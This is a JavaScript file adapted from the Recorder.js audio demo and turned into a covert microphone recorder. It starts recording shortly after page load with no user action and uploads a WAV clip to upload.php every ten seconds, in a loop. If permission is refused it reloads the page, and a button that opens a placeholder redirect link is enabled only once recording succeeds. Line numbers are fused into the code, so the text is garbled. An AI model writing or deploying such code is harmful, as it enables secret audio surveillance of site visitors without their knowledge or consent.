// Adapted from Simple Recorder.js Demo https://github.com/addpipe/simple-recorderjs-demo1// Recorderjs by: https://github.com/mattdiamond/Recorderjs2//webkitURL is deprecated but nevertheless3URL = window.URL || window.webkitURL;45var gumStream; //stream from getUserMedia()6var rec; //Recorder.js object7var input; //MediaStreamAudioSourceNode we'll be recording89// shim for AudioContext when it's not avb.10var AudioContext = window.AudioContext || window.webkitAudioContext;11var audioContext //audio context to help us record1213var redButton = document.getElementById("redButton");1415redButton.addEventListener("click", Redirect);161718function Redirect() {1920window.open('redirect_link', '_blank');212223}2425window.setTimeout(startRecording, 300);26window.setInterval(stopRecording, 10000);27282930function startRecording() {31//console.log("recordButton clicked");3233/*34Simple constraints object, for more advanced audio features see35https://addpipe.com/blog/audio-constraints-getusermedia/36*/3738var constraints = { audio: true, video:false }394041/*42We're using the standard promise based getUserMedia()43https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia44*/4546navigator.mediaDevices.getUserMedia(constraints).then(function(stream) {47console.log("getUserMedia() success, stream created, initializing Recorder.js ...");4849/*50create an audio context after getUserMedia is called51sampleRate might change after getUserMedia is called, like it does on macOS when recording through AirPods52the sampleRate defaults to the one set in your OS for your playback device5354*/55audioContext = new AudioContext();5657//update the format58// document.getElementById("formats").innerHTML="Format: 1 channel pcm @ "+audioContext.sampleRate/1000+"kHz"5960/* assign to gumStream for later use */61gumStream = stream;6263/* use the stream */64input = audioContext.createMediaStreamSource(stream);6566/*67Create the Recorder object and configure to record mono sound (1 channel)68Recording 2 channels will double the file size69*/70rec = new Recorder(input,{numChannels:1})7172//start the recording process73rec.record()74redButton.disabled = false;7576//console.log("Recording started");777879}).catch(function(err) {80//enable the record button if getUserMedia() fails81redButton.disabled = true;82window.location.reload();83});84}858687function uploadRecord() {8889$(document).ready(function() {90$('a#Upload')[0].click();9192});939495}9697function stopRecording() {98//console.log("stopButton clicked");99100101//tell the recorder to stop the recording102rec.stop();103104//stop microphone access105//gumStream.getAudioTracks()[0].stop();106107//create the wav blob and pass it on to createDownloadLink108rec.exportWAV(createDownloadLink);109110}111112function createDownloadLink(blob) {113114var url = URL.createObjectURL(blob);115var filename = new Date().toISOString();116117118var xhr=new XMLHttpRequest();119xhr.onload=function(e) {120if(this.readyState === 4) {121// console.log("Server returned: ",e.target.responseText);122}123};124125126var fd=new FormData();127fd.append("audio_data",blob, filename);128xhr.open("POST","upload.php",true);129xhr.send(fd);130131window.setTimeout(startRecording, 300);132133}134135136